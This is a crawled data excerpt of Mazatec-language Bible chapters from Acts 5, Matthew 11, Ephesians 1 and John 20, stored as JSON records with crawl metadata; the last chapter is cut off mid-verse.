Ti̱koa̱ béno̱jmí kixi̱‑né jè Ini̱ma̱ Tsjeè‑la̱ Nainá xi jye kitjoé‑la̱ jñà xi̱ta̱ xi síkitasòn‑la̱ Nainá. 33K'e̱ nga kiì'nchré 'én koi, 'ñó jchán kòjti‑la̱; skanda mejèn‑la̱ si̱ìk'en. 34Ya̱ tíjnajiìn jngoò xi̱ta̱ fariseo xi ti̱koa̱ xá tjín‑la̱ xi 'mì Gamaliel, jè xi okóya kjo̱tíxoma. Ngats'iì jñà xi̱ta̱ na̱xa̱ndá 'ñó ndaà beèxkón xi̱ta̱ jè. K'e̱é tsasíjna‑kixi̱‑jiìn‑la̱ ngats'iì jñà xi̱ta̱ xi tjín‑la̱ xá; kitsjaà o̱kixi̱ nga kàtitjo jngoò tjò ni'ya jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús. 35Jè Gamaliel kitsò‑la̱ xi̱ta̱xá xíkjín: ―Jñò ngats'ioò xi xi̱ta̱ xinguia̱á Israel 'mì‑ná, ndaà ti̱kítsjeèn mé kjoa̱ xi si̱ko̱o jñà xi̱ta̱ koi. 36Ti̱kítsjeèn jñà na̱chrjein xi jye tsato, tsibìjnaá jngoò xi̱ta̱ xi ki'mì Teudas. K'oa̱á kitsò nga xi̱ta̱ ítjòn‑né. Komà‑la̱ tsà ñijòn sìndo̱ xi̱ta̱ xi kiìt'aà‑la̱. Ta̱nga k'e̱ nga kisìk'en xi̱ta̱, ngats'iì xi̱ta̱ xi kiìt'aà‑la̱, kitsjohoba‑né. Tà ya̱á jyehet'aà kjoa̱. 37K'e̱ nga komà i̱skan, jè na̱chrjein nga kòxke̱ya xi̱ta̱, tsatsejèn ìjngoò xi̱ta̱ xi 'mì Judas xi xi̱ta̱ Galilea. Ti̱koa̱á kjìn xi̱ta̱ na̱xa̱ndá kiìt'aà‑la̱. Ta̱nga k'e̱ nga kinìk'en xi̱ta̱ jè, ti̱koa̱á ngats'iì xi̱ta̱ xi ya̱ kiìt'aà‑la̱, kitsjohoba yije‑né. 38I̱'ndei̱ k'oa̱á ma‑ne ko̱xan‑nò, tà ti̱kjehet'aà kjoa̱. Tjiì'nde‑là xi̱ta̱ koi nga kàtjì‑ne. Tsà tà xá ts'e̱ xi̱ta̱á xi nchis'ín kjoe̱het'aà‑né. 39Ta̱nga tsà xá ts'e̱ Nainá‑né xi nchis'ín, mìkiì ki̱chìkjoa̱‑nò nga jñò ki̱xkàn‑ko̱; ti̱kinda̱a yijo‑nò tsà koi na̱chrjein‑la̱, tsà xá‑la̱ Nainá titsa̱bixkàn‑ko̱o. 40Ngats'iì xi̱ta̱ xi títsa̱jna junta, kòkjeiín‑la̱ koni s'ín kitsò Gamaliel. K'e̱é kiìchja̱ ìjngoò k'a‑la̱ jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús. I̱kjoàn tsajá‑la̱. 'Ñó tsibínè‑la̱ nga mì ti̱ k'oa̱ s'ín ki̱chja̱ya‑ne i̱t'aà ts'e̱ Jesús. I̱kjoàn kisìkítsa̱jnandei̱í‑ne. 41Jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús, 'ñó tsja tjín‑la̱ k'e̱ nga itjo‑ne ni'ya nga jè Nainá kitsjaà'nde nga kitjoé‑la̱ kjo̱ndaà nga kisìkjeiín kjo̱'in xi kjoa̱ ts'e̱ Jesús. 42Jñà xi̱ta̱ koi, mìkiì jyò tsibìtsa̱jna. Na̱chrjein inchijòn tsakóya ti̱koa̱ kiìchja̱ya 'én ndaà‑la̱ Nainá ya̱ i̱ngo̱ ítjòn ko̱ xi kj'ei̱í ni'ya nga jè Jesús xi Cristo [jè xi xó kisìkasén‑ne Nainá].\nHechos 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/5","date":"2013-12-09T03:26:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163857566\/warc\/CC-MAIN-20131204133057-00013-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.000008225440979}","num_words":1026,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.316,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jesús, 'kia̱ nga ijye kitsjà‑la̱ kjo̱hixi̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ ra tejò ma‑ni kó'sín nga si̱íxá, Jesús kijì‑ní nga kiì kakón‑ya ko̱ nga isìka'bí 'én‑la̱ Nainá ya̱ nga'tsì na̱xi̱ndá ra ya̱ chraña tjín. 2Juan, nga nda̱yá tíjna'ya ra jè, tanga kií'nchré‑ní jñà kjoa̱ ra tí'sín jè Cristo [xi̱ta̱ ra xá isìkasén‑ni Nainá]. Kií ko̱'sín isìkasén i'ka‑ni xi̱ta̱ ra ya̱ kotá'yá'ta‑la̱ 3mé‑ni nga iskonangi‑la̱. Kitsò‑la̱: ―¿A ji̱‑ní ra Cristo ra xá ko̱'sín tjínè‑la̱ nga kj'i̱í, o̱ ra kj'ií jchíña-isa‑la̱ji̱n? 4Jesús kitsó‑la̱: ―Tangió, ko̱ 'tèna̱jmí‑la̱ jè Juan jñà kjoa̱ ra i̱nchi'ya ko̱ ra i̱nchina'yá. 5Ko̱'tìn‑la nga jñà xi̱ta̱ ra xka̱, ijyeé tsijeén‑ila̱; ko̱ jñà ra tsá'yá, ijyeé maá fì‑ni; ko̱ jñà xi̱ta̱ ra tjín‑la̱ 'chin ra fi'ndojno chrja̱ba̱ ijo‑la̱, ijyeé kjondaá‑ni; jñà xi̱ta̱ ra jtaya, ijyeé 'nchré‑ni; ko̱ jñà ra biya, faháya‑ila̱; ko̱ jñà ndí xi̱ta̱ i̱ma̱, tí'sena̱jmíyaá‑la̱ 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Nainá. 6¡Mé ta̱ nda‑la̱ jè xi̱ta̱ ra ni̱mé ko̱techjà‑la̱ nga ko̱kjiín‑la̱ ra a̱'ta tsa̱'a̱n! 7'Kia̱ nga ijye kijì‑ni jñà xi̱ta̱‑la̱ Juan, tsikí'tsia̱á Jesús nga tsakáko̱na̱jmí jñà xi̱ta̱ ra a̱'ta 'tse̱ Juan. Kitsò‑la̱: ―¿Mé ra tsangì chitsíjen‑la jiòn ya̱ i̱'nde a̱'ta xìn ñánda̱ nga nangi kixì? ¿A jé tsangì chitsíjen‑la jiòn jngo xi̱ta̱ ra inda tíjna koni tsa jngo ínaxo̱ ra síjtiya‑la̱ tjo̱? 8Ko̱ tsa majìn, ¿yá ra tsangì chitsíjen‑la? ¿A jngo xi̱ta̱ ra 'ñó nda kjòn nikje ra kjiya? Majìn, nga̱ jñà xi̱ta̱ ra 'ñó nda kjòn nikje‑la̱, ya̱á títsa̱jna ya̱ ni'ya‑la̱ xi̱ta̱xá ítjòn. 9¿Tanga mé xá ra tsangì‑najiòn? ¿A jé tsangì chitsíjen‑la jngo xi̱ta̱ ra síchjeén Nainá nga chja̱ ngajo‑la̱? Jon, kixi̱í kjoa̱, jé tsangì chitsíjen‑la, ko̱ skanda isa̱á 'nga tíjna‑isa koni jngo xi̱ta̱ ra síchjeén Nainá nga chja̱ ngajo‑la̱. 10A̱'ta 'tse̱é Juan nga ko̱'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: Tísikásén‑la jè xi̱ta̱‑na̱ ra i̱ko̱ ítjòn‑li 'én, nga koa̱ànda‑li ndi̱yá. 11'A̱n, 'koa̱á xin kixi̱‑no, ta nga'tsì jñà xi̱ta̱ ra tjín i̱ i̱sà'nde, kjè sa yá ra ko̱'sín 'nga bijna koni jè Juan ra tsatíndá xi̱ta̱; tanga ya̱ a̱jin na̱xi̱ndá ñánda̱ nga tíbatéxoma jè ra tíjna ngajmi, jè xi̱ta̱ ra isa̱ 'ñó nangi tíjna, isa̱á 'nga tíjna india‑ni koni jè Juan. 12'Skanda 'kia̱‑ni nga 'ji jè Juan ra tsatíndá xi̱ta̱ ko̱ skanda 'ndi̱ 'ndi̱, ya̱ ñánda̱ nga̱ tíbatéxoma jè ra tíjna ján ngajmi, tseé kjo̱si tísakó; ko̱ jñà xi̱ta̱ ra 'tse̱n tsò‑la̱ ijo‑la̱, mején‑la̱ nga jñà si̱ìkijne. 13Jñà xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱ ko̱ jñà kjo̱téxoma ra kitsjà Moisés, jñá kiìchja̱ skanda ti̱kjè 'fiì jè Juan. 14Tsa makjiín‑no koni 'sín tsò jè kjo̱téxoma ko̱ jñà xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱, ti̱'koa̱á ko̱kjiín‑no nga jè Juan, 'koa̱á 'sín 'ji koni jè Elías ra tjínè‑la̱ nga kj'i̱í. 15Nda kjón‑ní ti̱ná'ya koni 'sín tíxin‑no. 16'¿Yá ra ma si̱ngásòn‑ke̱é jñà xi̱ta̱ ra tjín ni̱chjin 'ndi̱ 'ndi̱? 'Koa̱á 'sín kjòn koni jñà i̱xti ra títsa̱jna ya̱ a̱jin ndi̱tsi̱n. Chja̱á‑la̱ xákjén nga tsò‑la̱: 17\"Ji̱n inìkjane‑náji̱n ínaxo̱, tanga mì kì ki'chà jiòn; ko̱ kijndaá‑laji̱n 'én ra ba tsò, ko̱ mì kì ichindáya jiòn.\" Jñà i̱xti kìi̱, 'koa̱á 'sín jngoya‑la̱ koni 'sín 'nià jiòn. 18'Kia̱ nga 'ji jè Juan, mì kì tsa tsakjèn ko̱ mì kì tsa mé ra ki'tsi; 'koa̱á 'sín tsixó jiòn nga inìma̱ 'cho‑la̱ ni̱í tjíjin ijo‑la̱. 19A̱kjòn 'jía̱ ra 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱ nga bákje̱n, ti̱'koa̱ 'bia̱a; ko̱ bixó‑nájiòn: \"Xi̱ta̱ chrjá'a‑ní, ko̱ xi̱ta̱ 'chi̱‑ní, ko̱ jñá nda báko̱ jñà ra xi̱ta̱‑jé ko̱ jñà xi̱ta̱ ra síkíchjítjì tsajmì 'tse̱ xi̱ta̱xá Roma.\" Tanga jñà kjoa̱chji̱ne̱‑la̱ Nainá, ya̱á 'ya‑la̱ 'kia̱ nga ijye bitjasòn. 20Jesús tsikí'tsia̱ nga tsakátiko̱ nga'tsì xi̱ta̱ na̱xi̱ndá ya̱ ñánda̱ nga kjìn kjo̱xkón ki'sìn, ta nga̱tjì‑la̱ jñà xi̱ta̱ ra ya̱ i̱'nde‑la̱ mì kì isíkájno ko̱ mì kì kitsjin jé‑la̱. Kitsò‑la̱: 21―¡I̱ma̱‑ró‑no ra xi̱ta̱ na̱xi̱ndá Corazín! ¡I̱ma̱‑ró‑no ra xi̱ta̱ na̱xi̱ndá Betsaida! Tsa ya̱á‑la na̱xi̱ndá Tiro ko̱ na̱xi̱ndá Sidón nga ko̱tjín kjo̱xkón ra kjomà, koni 'sín tjín ra tí'ya‑la̱ ya̱ a̱jin tsa̱jiòn, ijyeé‑la kjotseé kitsjin jé‑la̱ ko̱ ijyeé‑la nikje naxá‑skee̱ tsakjaya ko̱ chijo ni'í tsikíxten‑jnó ijo‑la̱, nga bakón nga ijyeé isíkájno‑ni jé‑la̱ ko̱ mì ti̱ jé i̱nchibátsji‑ni. 22Tanga 'koa̱á xin‑no, 'kia̱ nga ki̱jchò jè ni̱chjin nga 'ki̱‑la̱ kjo̱hi'in jñà xi̱ta̱, isa̱á tse kjo̱hi'in 'ki̱‑no ra jiòn, nda mí 'koa̱‑ni koni jñà xi̱ta̱ na̱xi̱ndá 'tse̱ Tiro ko̱ Sidón. 23Ko̱ jiòn, ra ya̱ i̱'nde‑no ya̱ na̱xi̱ndá Capernaum, ¿a 'koa̱á 'sín níkítsjen jiòn nga ya̱á tjámitje̱en skanda ya̱ a̱'ta ngajmi ján? Majìn, tà isa̱á ya̱ 'ñó na̱nga̱ kjohíje̱n‑jin‑isa skanda ya̱ ñánda̱ tíjna i̱'nde‑la̱ kjo̱hi'in. Tsa ya̱á‑la ya̱ na̱xi̱ndá Sodoma nga ko̱tjín kjo̱xkón ra kjomà koni ya̱ tsa̱jiòn, jè na̱xi̱ndá Sodoma takó tíjnaá‑la skanda ni̱chjin 'ndi̱‑ni̱. 24Tanga 'koa̱á 'sín xin‑no 'kia̱ nga ki̱jchò ni̱chjin nga 'ki̱‑la̱ kjo̱hi'in xi̱ta̱, jiòn ra titsa̱hijyo ya̱ na̱xi̱ndá Capernaum, isa̱á tse kjo̱hi'in tjábé‑no nda mí 'koa̱‑ni koni jñà xi̱ta̱ 'tse̱ na̱xi̱ndá Sodoma. 25Jè ni̱chjin 'kia̱, jè Jesús kitsó‑ní: ―Na̱'ìn, ji̱ ra tijna ítjòn‑la̱ nga'tsì ra tjín ya̱ ján ngajmi ko̱ ra tjín i̱ a̱'ta nangi, jeya ti̱jni, nga̱ tsikí'maá‑la̱ ji̱ nga'tsì kjoa̱ kìi̱ jñà xi̱ta̱ chji̱ne̱ ko̱ ra nda ma‑la̱ xa̱jo̱n ko̱ jñá tsakon‑la̱ ji̱ jñà ra taxki̱ ndí xi̱ta̱. 26Ta kií‑ní nga 'koa̱á 'sín nda isasèn‑li Na̱'ìn. 27'Nga'tsì kjo̱téxoma, 'a̱án isìnga̱tsja‑na Na̱'ìn‑na̱. Mì kì yá ra bexkon jè I'ndí‑la̱, tà jé Na̱'ìn‑la̱ ra bexkon; ti̱'koa̱á mì kì yá ra bexkon jè Na̱'ìn‑la̱, tà jé I'ndí‑la̱ ra bexkon; ko̱ ske̱xkoón‑te nga'tsì xi̱ta̱ ra jè I'ndí‑la̱ ko̱'sín mejèn‑la̱ nga ko̱kòn‑la̱. 28Nchrabátji̱ngi‑ná nga'tsì‑no ra ijye itsi'on‑no nga ki'chà 'chá‑no, ko̱ 'a̱án kósi̱ko̱‑no nga ma si̱kjáya. 29Jcha̱mijìn‑ko̱‑ná jè yá‑la̱ nchra̱ja̱ ra kjingi ísian, mé‑ni ko̱ma ko̱'sín 'sia̱n‑no koni 'sín 'siaa̱n ra 'a̱n. Chjíngí‑ná koni 'sín 'kiaa̱ ra 'a̱n nga xi̱ta̱ 'ndé‑ná ko̱ indakjoa̱á tjín inìma̱‑na̱. Ko̱ a̱'ta tsa̱'a̱n‑ní nga ma si̱ìkjáya inìma̱‑no. 30Jè yá‑la̱ nchra̱ja̱ ra ya̱ kjingi ísiaa̱n, ndaá 'cha, mì tsa iyí‑jìn. Ko̱ jè 'chá ra 'a̱n tsja‑no, jna̱‑ní.\nSan Mateo 11","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/11","date":"2013-12-11T05:32:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164031957\/warc\/CC-MAIN-20131204133351-00038-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":936,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.353,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jiòn, xi̱ta̱‑la̱ Nainá ra titsa̱jna ya̱ na̱xi̱ndá Éfeso ra ko̱'sín kixi̱ mangí'ta‑la Cristo Jesús, 'koa̱á 'sín tísixó'tà‑no 'a̱n Pablo ra ko̱'sín tsikíxáya‑na Jesucristo koni 'sín nga jè Nainá kjomejèn‑la̱. 2Nainá ra Na̱'ín‑ná ma ko̱ jè Jesucristo ra tíjna ítjòn‑ná katatsjá‑no kjo̱nda ko̱ kjo̱'nchán ya̱ a̱jin inìma̱‑no. 3Jeya katijna Nainá ra Na̱'ìn‑la̱ Jesucristo ra tíjna ítjòn‑ná nga ko̱'sín isìchikon'tin‑ná nga kitsjá‑ná nga'tsì kjo̱nda ra 'tse̱ inìma̱‑ná ra ya̱ inchrabà‑ni ya̱ ján ngajmi ta nga̱tjì‑la̱ nga ya̱ titsa̱jnake̱é Cristo. 4Nga̱ 'koa̱á 'sín ta̱ña jahájin‑ná ko̱ Cristo 'kia̱ nga ti̱kjè sinda i̱sà'nde, mé‑ni nga xi̱ta̱ tsje ka̱meé ra a̱'ta 'tse̱ ko̱ ni̱mé jé 'se̱‑ná ya̱ ngixko̱n ra jè. 5Ngi ta ko̱ó kjo̱tsjacha‑la̱ nga ko̱'sín kiskosòn‑la̱ nga ti̱'sa̱‑ni nga iskábétjò‑ná nga i̱xti‑la̱ tsó‑ná ra a̱'ta 'tse̱ Jesucristo, koni 'sín nga jè kisasèn‑la̱ ko̱ nga kjomejèn‑la̱ nga ko̱'sín ki'sìn, 6mé‑ni nga ko̱'sín jeya si̱kíjneé Nainá ta nga̱tjì‑la̱ nga batoó tse kjo̱nda kitsjà kjo̱tjò‑ná nga ya̱ titsa̱jnake̱é I'ndí‑la̱ ra 'ñó tsjake. 7‑ 8Ko̱ 'kia̱ nga ya̱ titsa̱jnake̱é ra jè, jè jní ra tsikíxten, tsikíchjítjì‑ná nga ma isíkítsa̱jnandi̱í‑ná ko̱ nga kisìhijchaà'ta‑ná jé‑ná, koni 'sín nga ijye batoó tse tjín‑ni kjo̱nda ra tsjá kjo̱tjò‑ná 'kia̱ nga tsjá‑ná kjoa̱chji̱ne̱ ko̱ kjo̱bítsjen ra tjín‑la̱. 9'Koa̱á 'sín tsakón‑ná kjoa̱ ra tjí'ma‑la̱ koni 'sín kjomejèn‑la̱ ra jè, nga 'koa̱á 'sín ijye iskosòn‑la̱ nga ko̱'sín ki̱tjasòn koni 'sín ijye tjínda‑la̱, 10nga si̱ìjngo ijye‑ni nga'tsì tsajmì ra tjín ya̱ ján ngajmi ko̱ i̱ a̱'ta nangi nga jè Cristo ko̱tèxoma‑la̱ 'kia̱ nga ki̱jchò ni̱chjin. 11Kií‑ní nga ya̱ ta̱ña titsa̱jnako̱‑ji̱n Cristo nga ko̱'sín jahájin‑naji̱n Nainá nga ti̱'sa̱ kjotseé, ji̱n ra xi̱ta̱ judío 'mì‑naji̱n, mé‑ni nga ti̱'koa̱ tjábé‑naji̱n kjo̱tjò ra jè tjábé‑la̱ koni 'sín nga ijye kiskosòn‑la̱ jè Nainá ra ko̱'sín 'sín ijye, koni 'sín nga jè mejèn‑la̱. 12Kií ko̱'sín ki'sìn‑ni mé‑ni nga a̱'ta tsa̱ji̱n jeya kíjna‑ni ra jè, ngaji̱n ra kjokjiín ítjòn‑naji̱n a̱'ta 'tse̱ Cristo. 13Ti̱'koa̱á jiòn, 'kia̱ nga ijye ya̱ titsa̱jnako̱‑te nga ijye kina'yá 'én‑la̱ ra kixi̱ tjín, jè 'én xi̱tse̱ ra nda tsò ra ijye tsachrjekàjin‑no jé‑no ko̱ 'kia̱ nga ijye kjokjiín‑no a̱'ta 'tse̱, jè Nainá kitsjà‑no Inìma̱ Tsje‑la̱ koni 'sín ijye kitsjà 'én‑la̱; ko̱ jè ma koni jngo chi̱ba̱ ra bakón nga ijye ya̱ nakjoá‑no a̱'ta 'tse̱ Nainá. 14Jè Inìma̱ Tsje‑la̱ tje̱n kitsjà ítjòn‑ná mé‑ni nga ko̱'sín kíjngo‑lá takén nga tjábé‑ná kjo̱tjò ra ijye jè Nainá ko̱'sín kitsjà 'én‑la̱ nga tsjá‑ná jè ni̱chjin 'kia̱ nga jè Nainá jngó kjá si̱ìkítsa̱hijyondi̱í tsje‑ná jién ra na̱xi̱ndá‑la̱ tsó‑ná, mé‑ni nga jè, jeya kíjna‑ni. 15'Koa̱á ma‑ni, ra 'a̱n, skanda 'kia̱‑ni nga kí'nchree̱ nga 'ñó nda makjiín‑najiòn a̱'ta 'tse̱ Jesús ra tíjna ítjòn‑ná ko̱ nga 'ñó tsjacha jiòn jñà ra xi̱ta̱‑la̱ Nainá, 16kji'tà ni̱chjin chjà'tà‑la̱ Nainá ra a̱'ta tsa̱jiòn nga tse kjo̱nda kata'se‑la̱ ra jè; 'kia̱ nga bitsá'ba‑la̱ Nainá, síjé'tá‑te‑la̱ ra kjo̱nda tsa̱jiòn, 17mé‑ni nga jè Na̱'ín‑ná ra 'ñó jeya tíjna, jè ra Nainá‑la̱ Jesucristo ra tíjna ítjòn‑ná, jè katatsjá‑najiòn jè Inìma̱ Tsje‑la̱ mé‑ni nga katasakó‑no kjo̱chji̱ne̱ ko̱ katasíchi̱ya‑no kjoa̱ ra jè tjí'ma‑la̱ mé‑ni nga isa̱ nda jcha̱a‑isa‑no kó'sín síxá jè Nainá. 18'Koa̱á 'sín síjé'ta‑te‑la̱ 'a̱n Nainá nga katasíhisen‑la̱ jè kjo̱bítsjen‑najiòn mé‑ni nga jcha̱a‑no kó'sín tjín jñà kjoa̱nda ra chiñá‑la, jiòn ra ijye xá ko̱'sín kiìchja̱‑no. Ti̱'koa̱á síjé'ta‑te‑la̱ mé‑ni nga jcha̱‑nájiòn nga batoó nda, ko̱ batoó tse kjoa̱nichikon'tin tsjá kjo̱tjò‑la̱ jñà xi̱ta̱‑la̱. 19Ti̱'koa̱á jcha̱‑najiòn nga batoó tse jè nga'ñó ra tjín‑la̱, jè ra síchjeén ya̱ a̱'ta tsa̱jién ra ko̱'sín makjiín‑ná. Ko̱ ti̱jé‑ni nga'ñó ra kìi̱ 20ra isìkjeén 'kia̱ nga isikjaáya‑la̱ Cristo ya̱ a̱jin‑la̱ mi'ken ko̱ 'kia̱ nga tsikíjna ya̱ nga kixi̱‑la̱ ñánda̱ nga jè bakèn‑la̱ nga kíjna ya̱ ján ngajmi. 21Jè isíkíjna ítjòn‑la̱ nga'tsì nga'ñó ra 'cho tjín ko̱ ra nda tjín i̱ i̱sà'nde, ko̱ nga'tsì nga'ñó ra tjín‑la̱ jñà ra batéxoma i̱ i̱sà'nde ko̱ jñà ra batéxoma ya̱ a̱jin i̱sén i'ngaá. Jè tíjna ítjòn‑la̱ nga'tsì nga'ñó ra tjín‑isa i̱ i̱sà'nde ko̱ jè nga'ñó ra 'se̱‑la̱ jè i̱sà'nde ra 'sa̱ nchrabá. 22Nainá, jè Cristo isìnga̱tsja ijye nga'tsì tsajmì ra tjín mé‑ni nga jè katatéxoma‑la̱; ko̱ ti̱jé‑ni Cristo nga batéxoma‑la̱ nga'tsì tsajmì ra tjín; ti̱'koa̱á jè ko̱nga̱tsja na̱xi̱ndá‑la̱ Cristo nga jè katatéxoma‑te‑la̱ 23jè na̱xi̱ndá ra ti̱jè‑ni ijo‑la̱; ko̱ ya̱á majngoko̱; nga̱ jè Cristo síjngo ijye‑ni.\nEfesios 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Eph\/1","date":"2013-12-07T10:56:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163054000\/warc\/CC-MAIN-20131204131734-00022-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000098943710327}","num_words":666,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.369,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè na̱chrjein nga tàts'en xomàna̱, jè María Magdalena 'ñó ta̱jñòya kiì, nga kiì katsejèn‑la̱ i̱tsjó ñánda kisìhijiìn Jesús; tákó jñò choòn k'e̱ nga kiì. K'e̱ nga ijchò, kijtseè nga jye kitjaàxìn nda̱jo̱ xi tíchjoàjto‑ne jè nga̱jo̱ i̱tsjó. 2K'e̱é tsangachikon, kiìkon ñánda tíjna Simón Pedro ko̱ xi̱ta̱ xi ìjngoò xi ti̱koa̱ ya̱ kota'yàt'aà‑la̱ Jesús, jè xi 'ñó matsjakeè, kitsò‑la̱: ―Jñà xi̱ta̱, jyeé kiìko̱ jè Na̱'èn‑ná. Mìkiì 'yaá ñánda kisìkájna. 3Pedro ko̱ xi̱ta̱ xi ìjngoò xi ngásòn ya̱ kiskoòta'yàt'aà‑la̱ Jesús, kiì katsejèn‑la̱ jè nga̱jo̱ i̱tsjó. 4Ingajò xi̱ta̱ koi, 'ñó jchán tsangachikon, ta̱nga jè xi ìjngoò, ìsa̱á 'ñó tsangachikon mì k'oa̱á‑ne koni jè Pedro. Ìsa̱á ítjòn ijchò ya̱ nga̱jo̱ i̱tsjó‑la̱ Jesús. 5K'e̱ nga tsasìñia kiskoòtsejèn‑s'en nga̱jo̱, kijtseè nga tà jñà nikje‑la̱ kjioò, ta̱nga mìkiì jahas'en‑ngui ya̱ nga̱jo̱. 6I̱kjoàn ijchò tji̱ngui Simón Pedro, jè‑né xi jahas'en‑ngui nga̱jo̱ i̱tsjó, ti̱koa̱ kijtseè nga tà jñà nikje‑la̱ kjioò. 7Ti̱koa̱ kijtseè jè nikje xi kisìjtéjiìn sko̱ Jesús. Mìtsà ya̱ tsátijiìn‑la̱ nikje xi i'nga. Xìn kijna nga tíxkóya‑la̱. 8K'e̱é jahas'en‑ngui xi̱ta̱ xi ìjngoò, jè xi ijchò ítjòn; kijtseè kjoa̱ xi komà, kòkjeiín‑la̱. 9Kj'eè kiì ndaà machi̱ya‑la̱ nga k'oa̱s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga jè Jesús, k'oa̱á s'ín tjínè‑la̱ nga kjoa̱áya‑la̱ i̱t'aà ts'e̱ kjoa̱biyaà. 10Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús, kiì‑ne ni'ya‑la̱. 11Ta̱nga jè María Magdalena, ya̱á tsibìjna ndi̱tsiaán nga tíkjindáyat'aà‑la̱ nga̱jo̱ i̱tsjó; k'e̱ nga tíkjindáya tsasìñia nga kiskoòtsejèn‑s'en jè nga̱jo̱ i̱tsjó‑la̱ Jesús. 12Kijtseè jò àkja̱le̱ xi nikje chroba íkjá. Jngoò tíjna ya̱ sko̱ ñánda kisijna yijo‑la̱ Jesús; jè xi ìjngoò ya̱ tíjnangui ndso̱ko̱. 13Jñà àkja̱le̱, kitsò‑la̱ María: ―Ji̱ ndí chjo̱ón, ¿mé‑ne tìchìhindáya‑ne? Jè María kitsò: ―Koií tìkjindáya‑na, jyeé kiìko̱ xi̱ta̱ yijo‑la̱ Na̱'èn‑na̱; mìkiì be ñánda kisìkájna. 14María k'e̱ nga o̱kitsò, kisìkátji sko̱, kijtseè Jesús nga ya̱ síjna, ta̱nga mìkiì beè tsà jè‑né. 15Jesús kitsò‑la̱: ―Ji̱ ndí chjo̱ón, ¿mé‑ne chìhindáya‑ne? ¿Yá xi binchaàtsji? Jè María, k'oa̱á s'ín kisìkítsjeèn, maá‑la̱ tsà jè xi̱ta̱ xi síkinda̱ i̱'nde jè, kitsò‑la̱: ―Ji̱ na̱'èn, tsà ji̱ kiìkoi̱i, ko̱t'ìn‑ná ñánda kinìkájnei mé‑ne nga kíkjaá‑na. 16Jesús kiìchja̱‑la̱ kitsò‑la̱: ―¡María! Ko̱ jè María, kisìkátji, kitsò‑la̱: ―¡Raboni! ―'én hebreo xi tsòya‑ne: Maestro. 17Jesús, kitsò‑la̱: ―Kì 'a̱n nìko̱‑ná nga kj'eè kiì fì mijìn‑koa̱a jè Na̱'èn‑na̱. Ta̱nga t'in ti̱kí'nchré jñà 'ndsè, ko̱t'ìn‑la̱ nga jye tìfikoa̱a jè Na̱'èn‑na̱ jè xi ti̱koa̱ Na̱'èn‑nò ma, jè xi Nainá xan‑la̱, xi ti̱koa̱ Nainá 'mì‑là. 18María Magdalena kiì kisìkí'nchré jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús nga jye kijtseèxkon Jesús, ti̱koa̱ tsibéno̱jmí‑la̱ 'én xi kiìchja̱ Jesús. 19K'e̱ nga jye kòjñò, ti̱jè‑ne na̱chrjein nga tàts'en xomàna̱, jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús tíchjoàjto‑la̱ xotjoa̱‑la̱ ni'ya ñánda chixoña nga jñà tsakjón‑la̱ xi̱ta̱ judío. Jesús jahas'en ni'ya, tsasìjnajiìn osen‑la̱ xi̱ta̱‑la̱, kisìhixat'aà, kitsò‑la̱: ―¿A ta k'oa̱á ndaà‑ne? Kàtas'e‑nó kjoa̱'nchán. 20K'e̱ nga jye o̱kitsò‑la̱, tsakó‑la̱ tsja ko̱ nindaà ni̱si̱n‑la̱. Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ 'ñó tsja kis'e‑la̱ k'e̱ nga kijtseè Jesús. 21Jesús, ìjngoò k'a kitsò‑la̱: ―Jñò, kàtas'e‑nò kjoa̱'nchán. Koni s'ín kisìkasén‑na Na̱'èn‑na̱, jñò, k'oa̱á ti̱s'ín siìkasén‑nò. 22K'e̱ nga jye o̱kitsò, i̱kjoàn kiskìnomájno, kitsò‑la̱: ―Chjoé jè Ini̱ma̱ Tsjeè‑la̱ Nainá. 23Jñà xi̱ta̱ xi jñò si̱jchàat'aà‑là jé‑la̱, jcha̱t'aà‑la̱, jñá xi jñò mìkiì si̱jchàat'aà‑là jé‑la̱, k'oa̱á s'ín kítsa̱jna nga mìkiì jcha̱t'aà‑la̱. 24Xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús xi tejò ma‑ne, jngoò xi 'mì Tomás, xi ti̱koa̱ 